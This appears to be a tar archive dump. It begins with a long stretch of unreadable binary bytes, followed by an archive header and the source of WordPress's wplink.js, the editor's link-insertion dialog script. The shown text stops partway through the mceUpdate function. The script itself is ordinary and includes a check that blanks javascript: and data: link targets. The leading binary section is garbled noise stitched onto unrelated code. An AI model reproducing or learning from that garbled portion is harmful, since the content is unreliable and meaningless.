ͯ�a��Ke��fh�L�D��Z6[��iUC�]���ӸՒb��y�z�Գ5s�•���9w�J�]#��\�Ê����a����OZ�h���Q�L@~֦�Ҹ«��u���zE!N�EX�}�I{q���5_�C���u<"��Z1V������!����1:��c�����1^��	i�<^o�W2o� ǬZBi0<
m��a���筵b+�;�U�s�v��}�ͯ(�=�y�ƣ[UiN��y>���!�VԄ?8���Y��Y��c���Q�tj@�n[�D1_����k��h�Lw(��Vy^qȞWf����&TY`;��lHW<��c^��@���2��RݳJu�j�(\U�h�
�kV8i�p��Dz��r�;W��^�F����9w
�:y��U�u1��s>>��Qba���̡�L���N�]L���	�0�LL1B.���>t����"��ﶲ��-��ZVMR�.��/���/�\Lp����/�Q�7�7�e9�3��__h5Y�6�eΧ���w~���|��͆�,�fYդ%O��.Zv$&�	N�:g�=�^3N�p48:��n�a��Y~u<yZDkN�����}<���HW��GT���v	�M.�=
=��HYG��r�+����x�fy'��>��p����z�w���d���M��`�G���w�a������Yx�����wQxr��x�A|⵾6ߍ<7������8���ߍ��fGn���GA���w���Ig�#��(��&-u>��᱗�]/Hr�K�J���Ē���-��	'�x�cЍ�_7���u��5�G�l�D�k<��	g���ί���W	Δ�tᵮR�(���^��~�������A��T�]�^�2r?vZ��y>���x�|0��'ǹ�{%S-=���S��>nZVث��\=�����}EE�n��e����I}}��q}�
����{~�{~���̊g޵�*U�`1�:dқY�߾?p�-�EL�~]ږno����Mi�u��h\��iYM^�b��,MSqQ�}�= �Y�
[c�*�	�{@�b}��I��C�Z��Y��W����~�W���q��^I�Q��roدH){�r�����{Q����=�����^�^�{U�R���dS��M��(�O�F�@��(m��}�f�[�m���)�k��|��D7��Z��O���ZȖEK��z�ElZ�����Z̶%ڏk�HR��YG�l�[b�D
���~u���k��G����.���"��m���k�x�vq�v�v����꿽\�]�]�\�:��֣�2�÷'�;n�p�W/L��r^H^��v�_��M���;S�Q��m�;����X���V�����W����+C{����_;�W��ZŔy��Z���t�{ .K�`���u7<���-�m��.��4�Ç�r��)����u����Xo��`P��kg �J^��b�2xCf�x�?�J���V
E����y~�� �B�����]\��}:��Tw�u��������u�0�N��XY%�����C�ŷ>A��F�j�%�ݢTP���mGx���Uh)����wy$o�r^�-�˅��^m9�7� ������z���Ѱ�s�����:ք��Zk~9�粳�P�o��d^h�a"E���GK�+�XQ6�n�޹�/����TE畃E!�l��'`i������'2�k����7��!�/꾰_���QI���W���ߵ�_�fʎÏ���!�$�^[9G��G�̓�y�o&��Kq7{�	�ۏp��~za5�m<���ڝ��׏.޵cL���{�!�_}��-G��R�����AJ�N��ͤ�$������IK�gǁR��9�\��{'�hl�(��n�4�"��+�9����\W}T|��K:�X4�y���Ğ4Y^�U��>�G��u�I�׶�|.Q��N�O�O�V�:{��=��j�O���z�ף�|1�ۊ��x����~PT�y>{�׵�+�4&�t�5m��^�N�LkP�R�� }��Iou��ۼec>���o���I/���,�s9������S����L����p���/�6{0�wk��u|%"g
3�"�^Y1�~�k<&{�l"M��η4���z9��|���>^����]���j>[��፽�v����5�G��단Ć�l�6�&��(!:>Sg�ӕU��������,���`[�֨��
ž܊��<Y�b�+)�[��p�
���'i�ҕ��B��܁�Pw��{�t�4 ��	q!ǣ�|6�����i�9VP���1�C�\��aW��#A��c���0qJ�dR��|rR�"��;/�>�����y��Mb>��'����=hQ��L��}�Km�ܠ%�;Қ0-�&�lM��[S|��EUq���-^��Sՠ�*H�����@�;�H
y����\֝
u��
t��h~ȕ&���$�=��k�:������[ht\��h<ݹK�7��f7s>�P�u{qG	W[�#
Q~]��ܪ�m��h;�ze��}s|��'�
�,�MIY"�*�G3Ĩ����(84;�<j$o]�,8=���Iu}�d���|:� nF���M��u��~��e��w5�_�>x����{�MX)��c�_M[��/��t�UA�S�ƽ[=��U�~o��'d�Xb�0h	jZ��?48���.2)�ҳ�p"���<8�t>�q�(�vO��ܫ�f�]�´M�S͗����7�ˮVIL��ep���C%�z���w�?�=-C���h��(W��}���&�O���Lnػ���qK�!ݘ>.��$�,�����2��~�w>{Q�	5��	��}��l�|_�8%�Q���Ю�*<�`+K7N*7��V�ђr�IZw�5��n�b���5^�6����[�C�$_�2��&�j��[v�M��?��34\j�o�T)�Ň���Y +&���uzM�
�,��gj����6]b�=*�*���� ��
?��
�o�F�n���-��-_�a{��)��h®8�m�2�,�Y�`��n�j*�,א�J4hz8Vo�י��-J[�ջ0&�>t�;���g��Ծ����|rx���"s6���4�}�6�kڂ����|pߡEuc4X!�?5S�ս5���,v'[E����b�NT]<P�;���SEJm�>���;�Y�	�
;~{���-?�|�iA�\y'G�� oeۻ+���n#�8�uF��D���;���]vG��vw���ݱ�쳈,�6�B{M3�[���ܙz�a�b�Z�«�.�ų�w�/Nj=�E��H~Zb�*�-��?r�H��O���[M��V�H� 	�<ٸܷY��w��a���.[&`���s8��3(�����~��aG���~-�*����݂���"a^���B8i���=�)��w���'�[�bz,)��b�$RQl��U���Ԩ�J�o��\ڝ�����j5am�!�Z�;o1O���E?�jMk��㵘40S������6�揪/�.k�o���.5�N�h-n���ܸq����)%�cZs�Pkr�g����q����3��z�G���¦�x�<�֠~���;G~�_�;��t!/i��֠��pd��q��"l5�-�69q�D�V8�����Ʀ��濌d!}��?�����9Z�o��A�_q�9g9�b�����ב�t8�9p0]�f�y>xy�9��s3kL�XS;�-�y�d_�d���-�H��m�˾�y���<^+[n<pNe_?���H�j6��P)�O�ߡ3�M�o�� ���ec�׫%g&�K�z��o4�U�L�Q0�j��
8jpT)�ƚ���|��a��ƃ�҈���4�nsD�P�������o��)�������խB��T�7�r��|:ȶp.s��3@�o�x�q�޹�Q�y8�˝�{�n�
��˴(��.R�E����?8��"����2���f�����Zg���	��&�}���m���/��e�A+���
�	Ӧ8�t�	D��*fYWeyM�Pr�ч�}O�t�Ϧ�1Y�>X r�Q���d���ҙ���)֟,0�N�-��Q��R�ۀ3�R��X4����x��4�z�Ҹu+՗:���v�RG�'��<J׉�7���N's�[��23E�`aٓ�����-�N(�Sb*ף���5�p�@�_tÞ�__�ΖN:�����"��z�5,�Kq�`�nߵю.%y����.dj���Ԛ;K�TLgD$vܚ�N��U�����v��Ik���q��O����2�E�=�ul1?��`��\�_�_����� s��/Nj�������o��쏇�~����^.�P��E��Ӛb'��޶��f+��"�~�u܈�gDA���tV�����6�9D�7�+��<[�v�����(�Ǿ��WB�=��.�c��.��+��ٚ
>b"¹f/����f�`ݷ
o�\�@��O�����e�X�(�m�lG�r|�_�Z�+W���"V���}>ȿ���(����Q��"KUn��b=O9��8��gr0�� �9��O�'���A	s����q��L�]��9�J������0���y��=.M����i���	"��.�ߢ�ț�#K��R�JX�M��v���0(�aEG,Ǯ+���7���(C�($�|h��F�ߊߑ�����*Pk��^K�wDv����������56��.w-�!��J�-SQm�o��ix��J��N>�L���qo�^�c�ˢދnv�6���(�f�l����Z������閲�pK�R@�o�/�ͷN���6ݶ['�:@Q�������c��.�:,�f�19�I���I���I:v�Co�d����&��f�M��xg9`���RE�����������-����A�>|?~9���R��[�҃�������s��^S�k*�D6��f1�3���@z'7ϧъ��簕�
��
u~�q6�M���ghɬ��oa뢖��.�����\mɶ��ZU��վJ�E�-c�a�5��J�p����G��r\5����[IA��"���@�h3�tT��2�-��jg���Q�����F���B[�$�*^���T�?�m+���ѳH�=){t~5eTıM:�����H:����d���-���=��j�_����t�;��j�ۈ|�=�s�7��ltt�ڈ4jх��"�{u�������l��
���Ϗ���>���9����`"^u�V�NǓi�>��EcV��o�ǣf�J�c�&ҷ��i~K�Q~��Wv���/�N�~���e���Z|鶏�e��[���>�֨�򰐇/'��qZƦ�����cx��Y֠�0�@^-���(��M\��	�OWT���q�Q|��p��0u������r�t]t��A���U�����'��[G��5#�B���b�?Y�`�;��Ѝ�LEun_x���a�v���ϻ����l��Y��_E��i���[Z�N�J��%��V�_�vX‹W��.6��8�[f�tL��~3:sOׁny�$B�F㫼9}��ن+�؝���X��|�UQ�Wd<[t�6�L>��K��r��3��ne�����\��
x���YدVX�b?V\{MiS��%a~�
���4��ϥD�9[A�7�Ƹk3Yjý/��K��!Q5�]+�?��u*5{�P4�2���Ϋf����4xHNgM"#�c���$9�#�yo09E�H��L
\�x����gJ�u�ן'���&E#˴MՈ�;��c�[��(`3�3��@l���y��|*5�rBG*���Fu��gQ4ズ*��|`�Zь@��a"����c�����&U����\^I輼�����Е�����~Ѝ�*^_ O��R�7�Tx��Jk*��^S=�����𷰦�Sy-�X?�?�M��g�\�~��V�}Ya�>�p��ٷϿ��/�_������J|.T���fK��e�M�2�o�Rm�V5�xVí��h�@Z��^Q��k�{��=D2�Mk��W�.��k�T�Í��o�FoGշCw����ۛ�ZR};���x-�kwP�wGb���~��r_�t7w��ܶ}��tb����]J�C�������_����`:<��u5��j	rzt,�쿯����R9%�Zؠ3p��|9�Yy�e����
��X8hj�.��K�dz�e�*0���t���̙#�bQ�f���d�ֲ�ԙ�kK���6�O��s���)��l�EQrqg����Y��h�Ľ$`����t?Z���]����9}ӳ��"���Ư�/���xvS���E��.���MZP�=~�s2��1�;VJ��
�r;G���j�@8F��o���d]�*��<�J��V��$5�~v�'M0�d�
�
���˰�e�Ɨ��`���Q#N�R�[�$�<-�G��Ռ ƙs>z�˩���y��?ʯ8n�+`�+���E�J�J�*�,%G���	X������a���8B���d6"��.�p��Cr�|���H���ȵ]xEk*!���p���6�C�˦�ߏ�5���\N'��FǏ;��v=��b_�^���8TD���,W%by<|���8�+!}����>�n��)!��IiC���N���Y���u�vx:�^��������	J�e0[d�G�m���zy��‘&�"L�җ_ΉD0�r��s5<�"M(�1�Md���ì\��@���_
G�`�)�x�G���JL���W��S��i	��3q�~��ل��<Os9z�.�Ye4N�8Q�e�`:��\�����G3ͤ�K��L�p.�Q�A�'V��1�k���C�Z����|��L�n�nA�����(�Ls��J��Y ���RR�� mgG�^j
�:"��r��&q��h��6g�7�D��E��Z;��xþ���{��峥���$���dɊ|r�*��y��.���"x�[b�xƣ��T��f�Z��#�<>*�4ю|�Y�ʼn��R�}g�Ѻ��*�����6��ޕ��	{{�*��)�*O��|���C�C��{�rY3~e�T=���Nf,�Vy4:=�}d4߭�v��$o�K��׸�eqd>߆k�_[���pn�HBj�5�לyk�,k�i�%?؍�o�k��^Z��s��R�Жfl��U_�w�}��f���գ`�t=���?ڌ�t���s�n3k��s�ړ�:C�7��~n���ٽ��37g
	3p0���=͟x?CW��Ve���q������~�Y��Ms���e�l[��:��R��6�o$d��~�r�l�V)�o�r�l�V)��o�r�l�֍z��Ӧ���G��>����:�de��>���?�P����]����ix��tUom]�����|Bm>����f�xt������(տ��D�6�r��y�M����<	�ʧ���v%�M��k��nx�-�ۡfփ��$��L�����#-�k���8߭�����a�]rĥ"�<�>���t�:牢��\X�����X���ϐr�|i�.��6H��i���MWNkCKm�o�F��
�R�F��EK��B��B�7�����P�N�`��-�� oU�^&�ٷ��P�/>�#�"�u�	/GB�^���֐�?�9t5�w�]�_�nl��VD%]��~��6�j1L���.4ջ���������V��k��BE��AǠ��Q1杤�r�x�����dYbJ�ƽs�ѵ�u�m�Y��ׇ^|gI<�:�n��c��+Zg		�"�S[�F�I��r���s�S4���zS4����)�kLQyh�):8^�#Zvg��FGD��K��-Sm4�'S���F�ٸ���9w���:uW���lv�ɉL��?��2�珝�>?�Z�?������%&_�i)2�ȟO��P��~\��1��1wp2�s�Ŝ�k�d:o77�U�=�z�r�4iѻ(iU�Z��9����8?�}��&Y~���X�j�g�d�(\*.������!�	*UܬY����-/T.fC�9:<���oU'�-�zv�G��e�.����hq���g��G�\f�w�j
�����F^#�g��?��a�O�.[��R��j/�Fv�v��o���/|.��6S�.�28���a�s\����9:�_޵|6w�x�z�WB��L�*�
ѯ�9p���r_1�m�f��K�k�z>�����������+<���F��\�3�\�_�u�%n��u"}*ҧ���(��Oy.����$�}��hOE�T�_<����t�n
�T�'����G��W��~�~�q�������
(���ފf�lv��O���~��;?�n���z�w~
��p�������񊗱��-N��d���MN��t���m���l��[�y:�����/�����e��c^�/�_n�����ꗋ[��Yч�p��#�=�����ɴ��xG����.�{`�I�QƳ�|��7���ҍ��S>/��ܖ�� ��ҽZ�=L������26��3>����B��Z[����	�[�
�������S=�u��S��a���!�~{#ںճqh����W�} �F�iR���6���E�1��!X{�C[��L]s-}c�6�Q�����{%��Ҥ��k.����[ך[���6#�uжW��9��:�����X��к#ٞױZ7�`�m����T<^&F�������
/�S�A4��2�d^�C�XfˀpɋQ�blˬ�Hx1)_L�b��/f�ʻV�j�<�ZiƁW+�B_�j�U�N^�4cϫ��
�Q��,C��v<W�o�g�5�	�x&\�h�g�5�I�x&]�l�>\����io�����ko���p�;dS)/���d<���/�
��L��\�aR�Ϻ�aT��yx��������k����Z>Y�1F%*p���r�a���T�U�����5����>q�f��T�F��b�A]��R;V��F8��GΗ�,$��"��~KU%�$^ܞ��>�Q3��hܒ|�:Ϩj�ܫ&b��
ē��k��z��P�m��ʽk�٨�Z}��m�6/-W��Z��|��V�N&����M>��jU*��!�x�����_7����U��&���η�b���^��4�f���҆z�{��dz�8�lx��1��m�.�Ym�TSL+��1�mִ��k��l[>ŭd4
�"��]n(�rdqu[���,"��ey�s����)i�wn�Y���n�c/(z傽"5i.�f5+��X��M���'W�rѲ+���`Ǵ�8����Vf����ζϯ�����׫�ou�#��A��f��.q�}�q|�u��+�k��^զ����š�%���]������LWm���z�x���
N��~���mD2���'n�jL��َ���m��O_��~m}�g�ൽUCr����}������-}��㹞��$n������O��|׏/|�&�}����?���`.�.'�c�~<\��͝gzA1>��2��=�|x�_��p�>�� �Gg�����4��:�y�h8�0�CdC����rvur29I�������/�����8�=�駆kͦ�G��#��gח��q~P�c���@����ǿ�����`4����x|��q��>�T녟��>~�����E�G��W]��Ŀ�;�z�?���v�=���^r�w�A���n�8��>~컏����t}�=��7�w��c7������ ����=���;�wmȸ���!�Μ��"�/B����R辥�T~��
�
r���t�0�m�i�(w��S����}����/B�_�1�ΏI�e�e�Q'�V#b�F���׌�f�i��\$ͷj	��I��!c�W�n��'�{�@y2�?~�x��g���"+Ь��n֨�NF�绮%t�w�n�\���[l4��V�z(g7�{`#-#/������U~8���:o��_v�������S��*��M���N�db�j4�����y��tp����3@��X4�h�X��jE;�4wx��MK��W�r9M�X�z9m��B����)ZƩ�U9`ʥū˚*ca����<��^%����'t�̺[��&=����і�@t�"�NNNf��y>'�uξ����޽�J��z�!�,V�]��-�Y[ж�r���ɨI5�ɂm>�8��.We텽Xѥ��?��
]�d��'���_����`�)���}R�d�;Қd�rFX��+/�'Ӛ��*�Y�o��Hmr5�g��9�L%�b��O��l���:�������~<[.�zo_�#ݼn��^�Swۆ����Ui����[�|�cY&O^�R�GW�_�O&
!|�*KOq]D�|4hUS�dOnt����A/�����|x�_˩�G��y�ݷ��|���??��>�>�	�O��]y�򁽊���~�k�W+��Z���<w��E�����3������;jd��k�Ҥ��|m7�u��%^��_v���Ϡ���
�h�xv�����}�#KAI��.����=j>����G���k�:�E���9/��ߟ|��V���'��s�xW�}���;���w�����a���A��5�r��:?���->}V�
�wu���K*�hع��ͼ�w�gJ����s�#��;�g�c�3+�7&ܨ1��И�����јt�Ƹ_�1��K�U�Y�J����S0�˶�JU�
�����k��#a^��}�~��k��C~�K������D]JwI5�z��w���~(�-�Yl1H<y���2kP�T��[	dJ76�6�N
��(�I+���!G���H;r�.���r������dۏ�(�����zI_�-))\Y�S���WJ
�(nII����i�6�0k!݂���)(ί;V<��'��f���xm	s����맓�qs���6���C�<��k�*���}�r?h�*����r?j܏*����r?i�O��.%��v�=/����m<�v������n^�o���XyA�����V^X./�yy���ˋn^^l����⛗�XyI��d��:f�>)�G~�G����7�f~v�F���i)��j�^�DOot��k���}��F)���,%�R���z���Yb�%���%��C��Yb�%���1#�Dz���XK��c6J��Fg)��/��v�J�o�:�{x�Ư��,���?C���ϐ��ᮣ{��˓�؍Z�=(J�/�u��^�N����J�K���:��^���s���_z��ª���U����i�vv���ET�*(�Gw����lu*k��γ���cT)h�YZ�S����hV���˫�䠣a�:�h4���$%٢Ҍ����ʆwr�?[���6�56����XJ`~0�C��ӥ�b����#�ʒ��9�j)��iɈR���k�'.��!�o���_�
c����=��~7����B��*�HR�X���Y��&�wq�3��􏷛`����l+�u�O^������4]��г� ����sp��>��ﶡ�I�z�=²�U��e|u�-b�f�F��rq�3l@Ь\�#gQ@��[(�_���s�.�*��=T�Y.����S>w`g0פ�G��t05��C��8(�
H�W��ܙ�9��Y9m]1Zӧ��S"�W8ԥ�K9�[�X�[)���]^��uy�0��U5��e�����������`��|5�-u󾳀<�k��}kȯ��X����bW�M��u.�����O5��r}eTA��(Bo<��qk�z�yQ�>3&�I�Q^���^�G�7�W����+���^��G��h��_/�\]Wu%�Zy�
tP�.��o�R�ֵ���7����B_�'R�'�'����k��7�lS��������j��U�~5�?�{��~�:]�L������Q�_��=���ʵ�����:#=���'�fΥ|N��D���#v��|0����r��Ȉ'7y���F��RTEr6��3�v,6���!�k�n��o����y�]�g���9���P�������+ߪxgO��c�$(ߪ�dO��;�$*ߪxbO���$)ߪ�_O��r++��ʷNK�qZ�S�|���~�V�7N��Jo���[��8�ʷ*�q�oUz�4)ߪ��iZ�U�Ӭ|���2;G�+��L��Y�nW�{z��S�y���ќ���ާ��4h��>}�a�~���9���c�O��iܼ��}zTN��T識�6�gz?�q��<�ځ�n喺N�﮽�-�oj�]��[���*����uVn�N��:��R��v�u\���*��r+�[��r+�[��r��S��fo�Zo�6{��z�������8��8m�Ʃ��i�7N�7N��qj�q��S��fo�Zo�Vz�C�6<H{���[k{W���q��^M
��"
����{TJ�-fP�-�w��F�^y���y��
�7|>��x��
�O7|>�>_V�WͅC���b�qz�%��gXk9�K�����}�
h�������*�JiO_@���Z*�5+�Yż��Y1{�r�+U�[�A��U#XY��T��r'(U#X�Q��U#ZY��T�ꝨT�h�j$�j$V�de5�R5�ʝ�T���F_=�f=\��[�Gd���S`Q�>��P�a��~��U�_Y��T
�>{��רFجFh�WV#*U#���E5�5�7�[5��HJՈ�wQ�x�j��j�V�te5�R5��]T#-��x`�|�����ӂQ�n�<+��t�n%��o}�l�9�o�u���1������3GT�a~�ζߋ��kA�#u�=�I�N<W�8n�?���/����O�3����Og��`*�p��~6�Y�v.�������.����>�9�N��2tkZ�r�q��ӇOd_-O�\�Z*�1a���@�����A�K��Oy~Ҽ�k5�֎^��n��*!�+۫"�.�h�^{��eq����\yn�^��{]	���x�ۭ?�<����xi�v����J�5��[|f����M%�MШ[�X��
iDu���ַ|�>/'�Q�1���ȟ{
@��Igg�sp�S{Z��#��9�_"���a#�u��G�j��GN#�\�Ń��EO�'H[e������W5���o��ÏO��������{嵿/S�*��*|�yݙj~���R�o��7k���,ЦJk�:Z4�:ڝ_\�hћF�q�)Of<�
j<[.�ۗ�W`Q��,�M���Y����VXu��+�z㷷�MKQ�66���$c��֨Wu�S�ⓨqwqh!J����8	�ٖ!�Ydz���p���� ����q�y��qA�y��n���A�](͢���y�W��Z����?��1�������:�W��΍
�y���fj�)ۜ`��j��N���eTON����.樻Ʈéa��M����W�y�O�7=��eEVG�x�����Xyp���zj�<1�%1�aޘc�F�S�+/��ݶ���s���D����;M%+e鱝�S�8?�e0=�����ݒ�ي�N<���秓�|�zC�kѼ
ݯ��U������x~��Jܐ����6��Kń捞I����w*��<���x�ã�,��65�;T��'�yY�g��O�r�k_�i��ĩ|�_vw>;��E!�����:��x��-����vs�.�����r2�*[j����`v�r�ǻ}wcGȲE��9W._.�o�w�����w�k�	14338/wplink.js.tar000064400000055000151024420100007642 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/wplink.js000064400000051370151024225330023635 0ustar00/**
 * @output wp-includes/js/wplink.js
 */

 /* global wpLink */

( function( $, wpLinkL10n, wp ) {
	var editor, searchTimer, River, Query, correctedURL,
		emailRegexp = /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,63}$/i,
		urlRegexp = /^(https?|ftp):\/\/[A-Z0-9.-]+\.[A-Z]{2,63}[^ "]*$/i,
		inputs = {},
		rivers = {},
		isTouch = ( 'ontouchend' in document );

	function getLink() {
		if ( editor ) {
			return editor.$( 'a[data-wplink-edit="true"]' );
		}

		return null;
	}

	window.wpLink = {
		timeToTriggerRiver: 150,
		minRiverAJAXDuration: 200,
		riverBottomThreshold: 5,
		keySensitivity: 100,
		lastSearch: '',
		textarea: '',
		modalOpen: false,

		init: function() {
			inputs.wrap = $('#wp-link-wrap');
			inputs.dialog = $( '#wp-link' );
			inputs.backdrop = $( '#wp-link-backdrop' );
			inputs.submit = $( '#wp-link-submit' );
			inputs.close = $( '#wp-link-close' );

			// Input.
			inputs.text = $( '#wp-link-text' );
			inputs.url = $( '#wp-link-url' );
			inputs.nonce = $( '#_ajax_linking_nonce' );
			inputs.openInNewTab = $( '#wp-link-target' );
			inputs.search = $( '#wp-link-search' );

			// Build rivers.
			rivers.search = new River( $( '#search-results' ) );
			rivers.recent = new River( $( '#most-recent-results' ) );
			rivers.elements = inputs.dialog.find( '.query-results' );

			// Get search notice text.
			inputs.queryNotice = $( '#query-notice-message' );
			inputs.queryNoticeTextDefault = inputs.queryNotice.find( '.query-notice-default' );
			inputs.queryNoticeTextHint = inputs.queryNotice.find( '.query-notice-hint' );

			// Bind event handlers.
			inputs.dialog.on( 'keydown', wpLink.keydown );
			inputs.dialog.on( 'keyup', wpLink.keyup );
			inputs.submit.on( 'click', function( event ) {
				event.preventDefault();
				wpLink.update();
			});

			inputs.close.add( inputs.backdrop ).add( '#wp-link-cancel button' ).on( 'click', function( event ) {
				event.preventDefault();
				wpLink.close();
			});

			rivers.elements.on( 'river-select', wpLink.updateFields );

			// Display 'hint' message when search field or 'query-results' box are focused.
			inputs.search.on( 'focus.wplink', function() {
				inputs.queryNoticeTextDefault.hide();
				inputs.queryNoticeTextHint.removeClass( 'screen-reader-text' ).show();
			} ).on( 'blur.wplink', function() {
				inputs.queryNoticeTextDefault.show();
				inputs.queryNoticeTextHint.addClass( 'screen-reader-text' ).hide();
			} );

			inputs.search.on( 'keyup input', function() {
				window.clearTimeout( searchTimer );
				searchTimer = window.setTimeout( function() {
					wpLink.searchInternalLinks();
				}, 500 );
			});

			inputs.url.on( 'paste', function() {
				setTimeout( wpLink.correctURL, 0 );
			} );

			inputs.url.on( 'blur', wpLink.correctURL );
		},

		// If URL wasn't corrected last time and doesn't start with http:, https:, ? # or /, prepend http://.
		correctURL: function () {
			var url = inputs.url.val().trim();

			if ( url && correctedURL !== url && ! /^(?:[a-z]+:|#|\?|\.|\/)/.test( url ) ) {
				inputs.url.val( 'http://' + url );
				correctedURL = url;
			}
		},

		open: function( editorId, url, text ) {
			var ed,
				$body = $( document.body );

			$( '#wpwrap' ).attr( 'aria-hidden', 'true' );
			$body.addClass( 'modal-open' );
			wpLink.modalOpen = true;

			wpLink.range = null;

			if ( editorId ) {
				window.wpActiveEditor = editorId;
			}

			if ( ! window.wpActiveEditor ) {
				return;
			}

			this.textarea = $( '#' + window.wpActiveEditor ).get( 0 );

			if ( typeof window.tinymce !== 'undefined' ) {
				// Make sure the link wrapper is the last element in the body,
				// or the inline editor toolbar may show above the backdrop.
				$body.append( inputs.backdrop, inputs.wrap );

				ed = window.tinymce.get( window.wpActiveEditor );

				if ( ed && ! ed.isHidden() ) {
					editor = ed;
				} else {
					editor = null;
				}
			}

			if ( ! wpLink.isMCE() && document.selection ) {
				this.textarea.focus();
				this.range = document.selection.createRange();
			}

			inputs.wrap.show();
			inputs.backdrop.show();

			wpLink.refresh( url, text );

			$( document ).trigger( 'wplink-open', inputs.wrap );
		},

		isMCE: function() {
			return editor && ! editor.isHidden();
		},

		refresh: function( url, text ) {
			var linkText = '';

			// Refresh rivers (clear links, check visibility).
			rivers.search.refresh();
			rivers.recent.refresh();

			if ( wpLink.isMCE() ) {
				wpLink.mceRefresh( url, text );
			} else {
				// For the Code editor the "Link text" field is always shown.
				if ( ! inputs.wrap.hasClass( 'has-text-field' ) ) {
					inputs.wrap.addClass( 'has-text-field' );
				}

				if ( document.selection ) {
					// Old IE.
					linkText = document.selection.createRange().text || text || '';
				} else if ( typeof this.textarea.selectionStart !== 'undefined' &&
					( this.textarea.selectionStart !== this.textarea.selectionEnd ) ) {
					// W3C.
					text = this.textarea.value.substring( this.textarea.selectionStart, this.textarea.selectionEnd ) || text || '';
				}

				inputs.text.val( text );
				wpLink.setDefaultValues();
			}

			if ( isTouch ) {
				// Close the onscreen keyboard.
				inputs.url.trigger( 'focus' ).trigger( 'blur' );
			} else {
				/*
				 * Focus the URL field and highlight its contents.
				 * If this is moved above the selection changes,
				 * IE will show a flashing cursor over the dialog.
				 */
				window.setTimeout( function() {
					inputs.url[0].select();
					inputs.url.trigger( 'focus' );
				} );
			}

			// Load the most recent results if this is the first time opening the panel.
			if ( ! rivers.recent.ul.children().length ) {
				rivers.recent.ajax();
			}

			correctedURL = inputs.url.val().replace( /^http:\/\//, '' );
		},

		hasSelectedText: function( linkNode ) {
			var node, nodes, i, html = editor.selection.getContent();

			// Partial html and not a fully selected anchor element.
			if ( /</.test( html ) && ( ! /^<a [^>]+>[^<]+<\/a>$/.test( html ) || html.indexOf('href=') === -1 ) ) {
				return false;
			}

			if ( linkNode.length ) {
				nodes = linkNode[0].childNodes;

				if ( ! nodes || ! nodes.length ) {
					return false;
				}

				for ( i = nodes.length - 1; i >= 0; i-- ) {
					node = nodes[i];

					if ( node.nodeType != 3 && ! window.tinymce.dom.BookmarkManager.isBookmarkNode( node ) ) {
						return false;
					}
				}
			}

			return true;
		},

		mceRefresh: function( searchStr, text ) {
			var linkText, href,
				linkNode = getLink(),
				onlyText = this.hasSelectedText( linkNode );

			if ( linkNode.length ) {
				linkText = linkNode.text();
				href = linkNode.attr( 'href' );

				if ( ! linkText.trim() ) {
					linkText = text || '';
				}

				if ( searchStr && ( urlRegexp.test( searchStr ) || emailRegexp.test( searchStr ) ) ) {
					href = searchStr;
				}

				if ( href !== '_wp_link_placeholder' ) {
					inputs.url.val( href );
					inputs.openInNewTab.prop( 'checked', '_blank' === linkNode.attr( 'target' ) );
					inputs.submit.val( wpLinkL10n.update );
				} else {
					this.setDefaultValues( linkText );
				}

				if ( searchStr && searchStr !== href ) {
					// The user has typed something in the inline dialog. Trigger a search with it.
					inputs.search.val( searchStr );
				} else {
					inputs.search.val( '' );
				}

				// Always reset the search.
				window.setTimeout( function() {
					wpLink.searchInternalLinks();
				} );
			} else {
				linkText = editor.selection.getContent({ format: 'text' }) || text || '';
				this.setDefaultValues( linkText );
			}

			if ( onlyText ) {
				inputs.text.val( linkText );
				inputs.wrap.addClass( 'has-text-field' );
			} else {
				inputs.text.val( '' );
				inputs.wrap.removeClass( 'has-text-field' );
			}
		},

		close: function( reset ) {
			$( document.body ).removeClass( 'modal-open' );
			$( '#wpwrap' ).removeAttr( 'aria-hidden' );
			wpLink.modalOpen = false;

			if ( reset !== 'noReset' ) {
				if ( ! wpLink.isMCE() ) {
					wpLink.textarea.focus();

					if ( wpLink.range ) {
						wpLink.range.moveToBookmark( wpLink.range.getBookmark() );
						wpLink.range.select();
					}
				} else {
					if ( editor.plugins.wplink ) {
						editor.plugins.wplink.close();
					}

					editor.focus();
				}
			}

			inputs.backdrop.hide();
			inputs.wrap.hide();

			correctedURL = false;

			$( document ).trigger( 'wplink-close', inputs.wrap );
		},

		getAttrs: function() {
			wpLink.correctURL();

			return {
				href: inputs.url.val().trim(),
				target: inputs.openInNewTab.prop( 'checked' ) ? '_blank' : null
			};
		},

		buildHtml: function(attrs) {
			var html = '<a href="' + attrs.href + '"';

			if ( attrs.target ) {
				html += ' target="' + attrs.target + '"';
			}

			return html + '>';
		},

		update: function() {
			if ( wpLink.isMCE() ) {
				wpLink.mceUpdate();
			} else {
				wpLink.htmlUpdate();
			}
		},

		htmlUpdate: function() {
			var attrs, text, html, begin, end, cursor, selection,
				textarea = wpLink.textarea;

			if ( ! textarea ) {
				return;
			}

			attrs = wpLink.getAttrs();
			text = inputs.text.val();

			var parser = document.createElement( 'a' );
			parser.href = attrs.href;

			if ( 'javascript:' === parser.protocol || 'data:' === parser.protocol ) { // jshint ignore:line
				attrs.href = '';
			}

			// If there's no href, return.
			if ( ! attrs.href ) {
				return;
			}

			html = wpLink.buildHtml(attrs);

			// Insert HTML.
			if ( document.selection && wpLink.range ) {
				// IE.
				// Note: If no text is selected, IE will not place the cursor
				// inside the closing tag.
				textarea.focus();
				wpLink.range.text = html + ( text || wpLink.range.text ) + '</a>';
				wpLink.range.moveToBookmark( wpLink.range.getBookmark() );
				wpLink.range.select();

				wpLink.range = null;
			} else if ( typeof textarea.selectionStart !== 'undefined' ) {
				// W3C.
				begin = textarea.selectionStart;
				end = textarea.selectionEnd;
				selection = text || textarea.value.substring( begin, end );
				html = html + selection + '</a>';
				cursor = begin + html.length;

				// If no text is selected, place the cursor inside the closing tag.
				if ( begin === end && ! selection ) {
					cursor -= 4;
				}

				textarea.value = (
					textarea.value.substring( 0, begin ) +
					html +
					textarea.value.substring( end, textarea.value.length )
				);

				// Update cursor position.
				textarea.selectionStart = textarea.selectionEnd = cursor;
			}

			wpLink.close();
			textarea.focus();
			$( textarea ).trigger( 'change' );

			// Audible confirmation message when a link has been inserted in the Editor.
			wp.a11y.speak( wpLinkL10n.linkInserted );
		},

		mceUpdate: function() {
			var attrs = wpLink.getAttrs(),
				$link, text, hasText;

			var parser = document.createElement( 'a' );
			parser.href = attrs.href;

			if ( 'javascript:' === parser.protocol || 'data:' === parser.protocol ) { // jshint ignore:line
				attrs.href = '';
			}

			if ( ! attrs.href ) {
				editor.execCommand( 'unlink' );
				wpLink.close();
				return;
			}

			$link = getLink();

